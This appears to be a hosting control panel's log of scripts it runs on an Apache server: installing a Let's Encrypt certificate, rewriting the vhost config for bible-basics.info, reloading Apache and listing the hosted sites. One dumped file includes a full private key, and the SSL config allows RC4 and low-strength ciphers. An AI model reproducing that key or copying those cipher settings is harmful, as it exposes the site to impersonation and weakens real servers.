yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-27 06:00:37: 

chmod 755 /tmp/pkp359812; /tmp/pkp359812; rm /tmp/pkp359812

2026-06-27 06:00:37: 


dir=/etc/ssl/certs


2026-06-27 06:00:37: 

PUT: /tmp/pkp197619

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bible-basics_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-27 06:00:37: 

chmod 755 /tmp/pkp197619; /tmp/pkp197619; rm /tmp/pkp197619

2026-06-27 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 45

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-27 06:00:37: 

PUT: /tmp/pkp785613

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bible-basics_www_info.conf
TARGET=/etc/apache2/sites-enabled/bible-basics_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bible-basics_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf= 1'
fi


2026-06-27 06:00:37: 

chmod 755 /tmp/pkp785613; /tmp/pkp785613; rm /tmp/pkp785613

2026-06-27 06:00:37: 




2026-06-27 06:00:37: 

PUT: /tmp/pkp203691

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-27 06:00:37: 

chmod 755 /tmp/pkp203691; /tmp/pkp203691; rm /tmp/pkp203691

2026-06-27 06:00:37: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-27 06:00:37: Establishing a connection
2026-06-27 06:00:37: 

PUT: /tmp/pkp260472

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-27 06:00:37: 

chmod 755 /tmp/pkp260472; /tmp/pkp260472; rm /tmp/pkp260472

2026-06-27 06:00:37: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-27 06:00:37: 

PUT: /tmp/pkp896540

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bible-basics_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:00:37: 

chmod 755 /tmp/pkp896540; /tmp/pkp896540; rm /tmp/pkp896540

2026-06-27 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf	1420

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-27 06:00:37: 

PUT: /tmp/pkp932562

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:00:37: 

chmod 755 /tmp/pkp932562; /tmp/pkp932562; rm /tmp/pkp932562

2026-06-27 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt	7453
e6:b5:a3:26:fa:a9:b0:88:88:a1:4a:cc:f4:7c:5b:35

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBQkVHTy8JUdklLSFev2p30/jMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI3MDUwMjA1WhcNMjYwOTI1MDUwMjA0WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKcYUl2GpI3am5RKaKk+vEVvwKpJua2IyLC0O3a2/0VOkQ3MeUcZ6z2BKQAC
V6i0uFqxnGHBq3qPoj7R74E+1gkSESihqC7epp93a2i65Q/MakoDeGdhLgtyajzs
CE04DC4RAMBQgnsUjMYJitgCu2vfTS3Mw0NPsgeCi3mI+6xV59+lzeU/LUPETA0t
RDynVpQabXKB5tecavH98NyThgt3+FX0YFjiikZxpHCFNwxZbRejepF9RmID/sjQ
xLmKkQwcACP2oiJedwsYW+l2X4Jzt67I5MI/UoHKq2CKelEbah1Jcv13XvqeL68M
7Av6vB5tTRCTOz4at0JfUDP3xv0CAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTy
V8X+FFtKZFoEXX8bfhTGTWIj2zAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIf
gQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWJpYmxlLWJhc2ljcy5pbmZvghV3d3cuYmli
bGUtYmFzaWNzLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8xMDAuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgA
AAGfB6plSgAABAMARzBFAiEAgCLAZe+zeDUAjB0py9TaK3sEazt25Leyrllfx2/I
jf8CICc/Gok2LhCul1yT3BQk5l0oDD3OL3nZCTMCdtBhTSLxAH0AJuNkblhpISO8
ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGfB6pj7gAIAAAFACKgIOAEAwBGMEQC
IDt+Fj0c4EZH143aR4/KPihfyDPYhks/eC9D0/xSHgqDAiBPdSxwdmOtEA+X7Cck
0/fPbJx2M4XAwc+EljQJSHdeWDANBgkqhkiG9w0BAQsFAAOCAQEAnGlQiNFYYcMy
h01n4yEvzp2SUDUOTuDyNbHzCFq1/7I8ew1LIGOLIWnDaTZ9M9B53+TGlYsrVGWb
J5nc34ympuDf0/D+qYkMaVOqg7fc3zMx9wVh8v5pBjz+WmAeBHJwy8P18yWU9now
UqbWumgWJDFuGVRfy4jOTFJB61qW/lXjqgIO+OEBtJvW/c5tdx/AAJTJ42A4NtzI
tI3IGOzvHbUQjd+20N/RTueKbwRpXO7pSAPyqgJHvHV98q2VdqPw0rVo9VJnPJ5D
ZOuyQP0ue2D5ER8eVzcb35rqD1Gh9ZyMYgcd6WdIDWVX8EGyjee/bM6iBo/ShcgN
fUHl+ACfLw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCnGFJdhqSN2puU
SmipPrxFb8CqSbmtiMiwtDt2tv9FTpENzHlHGes9gSkAAleotLhasZxhwat6j6I+
0e+BPtYJEhEooagu3qafd2touuUPzGpKA3hnYS4Lcmo87AhNOAwuEQDAUIJ7FIzG
CYrYArtr300tzMNDT7IHgot5iPusVeffpc3lPy1DxEwNLUQ8p1aUGm1ygebXnGrx
/fDck4YLd/hV9GBY4opGcaRwhTcMWW0Xo3qRfUZiA/7I0MS5ipEMHAAj9qIiXncL
GFvpdl+Cc7euyOTCP1KByqtginpRG2odSXL9d176ni+vDOwL+rwebU0Qkzs+GrdC
X1Az98b9AgMBAAECggEAPEc/31FlJ29HVLWLEBL7pCjuXf/+paWEkIpUMT1O1VfE
aC/tSEMHY8amXcR6jvey0bTk7zcIf0w1gWgGeJ+MYvVLj1bR7yaPAVP5QWy6mXpq
lYyu8MxT6fk6bgPP8ttXOX8UwEvK5k/BgOeMWOSTbBTAKNeHUU78sEzdt9g8wiwd
Ced4AB5sNmkJSn1kY4xogfBdYdaMtPDJu7fodJyw8Cgo9jR4dRlMlYH5/VBBkOgq
A5uGaiSOpJE9AY0rkZBkNgkV8xoMmP2NkWlQZBSGgvW4iwiko7jbY03hDAnSSXv1
bIoC9rSnB3qq+h8vHgyGES8LJE2YJdHHHklYCwMbGQKBgQDpd0/AoztH+s0Q6g3w
bL1jCjKhQ4bnv1KpCa2guYNzP/LSA48Al/rEJqC3wLUg+67FmeFaT/DACj0uy0ls
a6ndcAn8RuJgJ1sFNS6pIIMsgx3VqSHvLPBfJE3r3EaEaOvdQ0boNsNXdwx0kUjY
Nhyif3f2bVYqepH5Kltn+5Jo7wKBgQC3OQ4GEoo0c6MOUEpIvE5kmlVMsLPvnbfw
EsknWjWLN4e8gT6wRs8yhwCuq6x+yGFskRSuCz7xcXDR0pUKkk/z7KlOgtZHy3ng
mPZZDClVb8XaC1tLpEdFs3MK0RfHLhcA8i8/CTxb7dcieT2fDQe+ePB73z2Je5es
4FTrh6VW0wKBgQCTciTONskDxqOoYQl4pFRfrlsXefxDdJOR6mjbrw4TxXlnpZO0
/kcDhpnOM0ixkgJpDaxDS2VzA4RsfzrZ3I0lKtNDnsjtjS1w9ouHiN8PR6eZ/v1N
foY4sEb+BNoMWe9MiGbJ1Xw9SxR0siTdWB9xiSuMWLUoksyKHnQoEbv/xQKBgQCb
ff4axS0o6mIcyaLhK33T/u4ZEXUDC3SId0ji7rm2FkBJh93tt4ortUqs8eCIEAIu
IsnMEpsuSDmYt//oYtcbiWL90CeN8m7SXr3iQGHrsdnU/AJUpWwfCPW+3kgxrzmy
gdX6xxnEYopLJV1YV7SUvwpH9eLBhHPqMM+guxNkJQKBgBeNowDbMOjRRERiDu/x
1YrQhjaIfvVaWNX2bqGmrC9nZjXpcnoKTGhpV7MxWtNPK1rGSK2G2nqLwJYlVkKb
L+KnBcojeLpEMoX+ROE6py7yWX7/DFwTF1ZQ4Xkn5Qjw+C6iKdAP2/dltQyWuXI6
1WMZJ9WdvBzmvWyI3qeFqV3i
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
